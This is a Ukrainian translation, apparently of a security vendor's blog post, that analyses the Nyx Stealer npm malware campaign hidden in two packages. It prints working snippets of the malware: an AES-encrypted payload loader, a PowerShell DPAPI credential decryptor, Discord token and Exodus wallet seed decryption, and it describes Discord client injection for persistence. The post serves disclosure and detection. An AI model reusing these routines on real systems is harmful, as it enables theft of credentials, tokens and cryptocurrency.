TL, д-р
Команда досліджень безпеки Xygeni виявили складну кампанію з викрадання інформації npm, що здійснювалася через два шкідливі пакети: консолілофі та selfbot-lofy.
Остання версія (consolelofy@1.3.0) вбудовує корисне навантаження розміром 216 КБ, зашифроване за допомогою AES, яке розшифровується під час виконання та виконується через vm.runInNewContext()Оскільки шкідлива логіка повністю зашифрована, статичні сканери, що покладаються на перевірку рядків, не можуть спостерігати її поведінку до моменту виконання.
Після розшифрування корисне навантаження, внутрішньо брендоване Викрадачка Нікс, Цілі:
- Токени автентифікації Discord
- Понад 50 сховищ облікових даних браузера
- Понад 90 розширень для криптовалютних гаманців
- Сеанси Roblox, Instagram, Spotify, Steam, Telegram та TikTok
- Збереження клієнта Discord для робочого столу
Було повідомлено про всі 20 версій обох пакетів, і вони були підтверджені як шкідливі.
Технічний огляд цього npm Infostealer
На відміну від традиційного шкідливого програмного забезпечення, що встановлюється під час встановлення, ця кампанія спирається на час виконання модель дешифрування.
Існує:
- Без шкідливого
preinstallorpostinstallhooks - Немає очевидних мережевих викликів під час встановлення
- Немає логіки збору облікових даних у відкритому тексті
Корисне навантаження активується під час імпорту модуля. Усе тіло шкідливого коду шифрується та матеріалізується в пам'яті лише під час виконання.
Така конструкція спеціально запобігає виявленню під час встановлення пакета.
Як насправді працює цей npm-інфостеалер
Перш ніж аналізувати, що краде Nyx Stealer, нам потрібно зрозуміти як це виконується.
Шкідлива логіка всередині цього npm-викрадача інформації дотримується послідовного шаблону:
Невеликий завантажувач розшифровує велике зашифроване корисне навантаження та виконує його динамічно в контексті віртуальної машини Node.js.
Такий дизайн є навмисним. Зловмисник не приховує функціональність лише за обфускацією, він повне видалення шкідливого коду зі статичної видимості.
Модель виконання високого рівня
На загальному рівні, обгортка виконує чотири речі:
- Отримує ключ AES з жорстко закодованої парольної фрази за допомогою SHA-256
- Розшифровує великий шістнадцятковий зашифрований текст за допомогою AES-256-CBC
- Виконує розшифрований JavaScript за допомогою
vm.runInNewContext() - Забезпечує пісочницю, яка все ще надає доступ до потужних примітивів середовища виконання
Короткий опис основної техніки
| Компонент | Конфігурація / Значення |
|---|---|
| Алгоритм | AES-CBC-256 |
| Виведення ключа | SHA-256 (парольна фраза) |
| Вектор ініціалізації (IV) | 16 байтів 0x00 |
| Виконання | vm.runInNewContext(розшифровано, пісочниця) |
Найважливіше те, що пісочниця проходить через:
requireprocessBuffer- таймерів
- експорт модулів
Це означає, що розшифроване корисне навантаження зберігає повну здатність:
- Процеси нересту
- Читання та запис файлів
- Здійснюйте мережеві дзвінки
- Змінити локальні програми
Це не віртуальна машина з обмеженими можливостями. Це віртуальна машина, що використовується як трамплін для виконання.
Шаблон шифрування середовища виконання (основний механізм виконання)
Навантажувач невеликий.
Зловмисне тіло — ні.
Нижче наведено шаблон виконання, що знаходиться всередині пакета:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Чому це важливо
Розшифроване корисне навантаження:
- Лі НЕ існують у відкритому тексті всередині npm-пакета
- Невидимий для простого
grepабо статичне сканування рядків - Матеріалізується в пам'яті лише під час виконання
- Виконується з повними можливостями середовища виконання Node
Ця комбінація виконання AES + VM є сильним поведінковим індикатором npm infostealer намагається уникнути статичної перевірки.
Іншими словами:
Якщо ви переглянете дерево вихідних кодів пакетів, ви не побачите викрадача.
Ви бачите дешифратор.
Що відбувається після розшифрування
Після виконання Nyx Stealer запускає паралельні хвилі збору даних.
Хвиля 1: Вилучення облікових даних браузера
Шкідливе програмне забезпечення:
- Завантажує середовище виконання Python з NuGet CDN
- Встановлює криптографічні бібліотеки
- Витягує сховища облікових даних на основі Chromium
- Розшифровує секрети, захищені DPAPI
Замість компіляції власних прив'язок, він використовує PowerShell для безпосереднього виклику Windows DPAPI.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Цей підхід:
- Уникає артефактів компіляції
- Використовує рідні крипто-API Windows
- Поєднується з адміністративними інструментами
Це розшифрування облікових даних на рівні ОС, а не парсинг.
Хвиля 2: Розшифрування токенів Discord
Викрадач знає протокол. Він розуміє зашифрований формат токенів Discord.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Операційний потік:
- Витягніть головний ключ з Discord
Local State - Розшифруйте головний ключ через DPAPI
- Розшифруйте блоби токенів AES-GCM
- Перевірка токенів за допомогою Discord API
- Збагачуйтесь за допомогою Nitro, значків, платіжної інформації
Це не загальний дамп облікових даних. Це захоплення сеансу з урахуванням протоколу.
Хвиля 3: Таргетування криптовалютних гаманців
Інфостеалер npm перераховує:
- Понад 90 розширень для браузерних гаманців
- 27 настільних гаманців
- Шляхи холодних гаманців
- Насіннєві файли Exodus
Приклад спроби розшифрування насіння:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } У разі успіху, компрометація гаманця є негайною та незворотною.
Це являє собою вектор монетизації кампанії з найвищою цінністю.
Збереження через ін'єкцію на робочий стіл Discord
Після збору облікових даних, Nyx Stealer намагається встановити збереження, змінюючи локальні Discord клієнт.
Цільова ціль:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Операційна послідовність
Інфостейлер виконує такі кроки:
- Завершує запущені процеси Discord
- Знаходить встановлені варіанти Discord (Stable, Canary, PTB)
- Перезаписує
discord_desktop_core/index.js - Впроваджує логіку вебхука, контрольовану зловмисником
- Перезапускає Discord
Це гарантує, що майбутні сеанси Discord автоматично витокують нові токени автентифікації.
Важливо, що ця стійкість не залежить від запланованих завдань чи змін у реєстрі. Вона використовує модифікацію коду на рівні програми, що є більш прихованим підходом.
Навіть якщо шкідливий пакет npm пізніше буде видалено, клієнт Discord залишиться скомпрометованим.
Технічне порівняння: легітимний Selfbot проти npm Infostealer
| Компонент | Легітимна бібліотека | Інфостеалер Nyx npm |
|---|---|---|
| Шифрування | ніхто | Повне корисне навантаження з AES-шифруванням |
| Віртуальна машина середовища виконання | Не потрібно | vm.runInNewContext виконання |
| Доступ до облікових даних | Тільки API Discord | Браузер, гаманці, DPAPI |
| Зовнішні завантаження | Немає | Виконання Python через NuGet |
| Наполегливість | Немає | Ін'єкція клієнта Discord |
| монетизація | Автоматизація ботів | Перепродаж посвідчень |
Сам рівень шифрування вже відрізняє цю кампанію від типового форку з відкритим кодом.
Легітимний селф-бот Discord не має жодної причини шифрувати всю свою кодову базу, запускати PowerShell для доступу до DPAPI, завантажувати зовнішні середовища виконання або змінювати внутрішню структуру настільних програм. Коли ці можливості з'являються всередині залежності, яка нібито автоматизує взаємодію в Discord, архітектурну невідповідність неможливо ігнорувати.
З точки зору розслідування, цей npm-інфостейлер залишає сліди на кількох рівнях. Однак найнадійнішими індикаторами є не жорстко закодовані URL-адреси чи конкретні шляхи до файлів, оскільки вони можуть змінюватися між версіями. Натомість, стійкими сигналами є структурні сигнали.
На рівні пакета найсильнішим червоним прапорцем є поєднання великого зашифрованого корисного навантаження та обгортки для розшифрування під час виконання, яка негайно виконується через vm.runInNewContext()Хоча саме шифрування не є шкідливим за своєю суттю, використання AES-розшифровки з подальшим динамічним виконанням віртуальної машини всередині пакета утиліти Discord є дуже аномальним.
На рівні хоста підозрілі закономірності включають неочікувану активність розшифрування DPAPI, запуск процесів із контексту залежностей Node.js та модифікацію локальних файлів програм, які ніколи не повинні змінюватися сторонніми бібліотеками. Так само на мережевому рівні вихідний зв'язок у стилі вебхука, ініційований залежністю розробки, є ще однією значущою аномалією.
Іншими словами, поверхня виявлення не є єдиним показником компрометації. Загрозу виявляє співвідношення шифрування, виконання під час виконання, доступу до облікових даних та поведінки збереження.
Виявлення та зменшення наслідків за допомогою Xygeni
Цей npm-злодій інформації був ідентифікований Раннє попередження про шкідливе програмне забезпечення (MEW) від Xygeni через багаторівневу поведінкову кореляцію, а не просте зіставлення сигнатур.
Замість пошуку відомих шкідливих рядків, MEW оцінює структурні аномалії по всьому дереву вихідного коду. У цьому випадку виявлення стало можливим завдяки поєднанню кількох сигналів: вбудованої процедури розшифрування AES у точці входу модуля, негайного виконання в контексті віртуальної машини та явної невідповідності можливостей та намірів.
Важливо, що жоден із цих сигналів окремо не доводить наявність зловмисного наміру. Однак, якщо їх проаналізувати разом, вони виявляють спробу приховати поведінку під час виконання. Такий багаторівневий підхід значно зменшує кількість хибнопозитивних результатів, водночас виявляючи високонадійні загрози ланцюжку поставок.
Крім того, цей випадок ілюструє, чому лише перевірки під час встановлення недостатньо. Шкідлива логіка не міститься в скриптах життєвого циклу. Вона активується лише після завантаження модуля та стає видимою лише після розшифрування в пам'яті. Тому ефективний захист вимагає аналізу з урахуванням шифрування, розпізнавання поведінкових шаблонів та постійного моніторингу залежностей після подій встановлення.
Видалення реєстру є реактивним. Аналіз з урахуванням виконання є превентивним.
Чому цей npm-інфостеалер важливий
Nyx Stealer являє собою структурну еволюцію шкідливого програмного забезпечення на основі npm.
Історично багато шкідливих пакетів покладалися на видимі скрипти під час встановлення або очевидні кінцеві точки вилучення облікових даних. Натомість ця кампанія шифрує своє корисне навантаження, відкладає виконання до середовища виконання, використовує легітимні API операційної системи та встановлює персистентність усередині довірених програм.
Отже, зловмиснику не потрібно використовувати саму інфраструктуру npm. Натомість атака успішна, оскільки встановлення залежностей передбачає довіру. Розробники вважають, що імпорт бібліотеки є безпечною операцією, особливо коли вона представляється як правдоподібний форк популярного інструменту.
Оскільки екосистеми продовжують зростати, а форки розмножуються, ця неявна межа довіри стає дедалі привабливішою поверхнею для атаки. Тому захист від сучасних npm-викрадачів інформації вимагає розпізнавання архітектурних шаблонів, а не пошуку статичних рядків.
Зрештою, ця кампанія підкріплює важливий урок у software supply chain securityНайнебезпечніші загрози – це не ті, що на перший погляд виглядають шкідливими, а ті, що здаються структурно легітимними, доки під час виконання не виявиться їхня справжня поведінка.




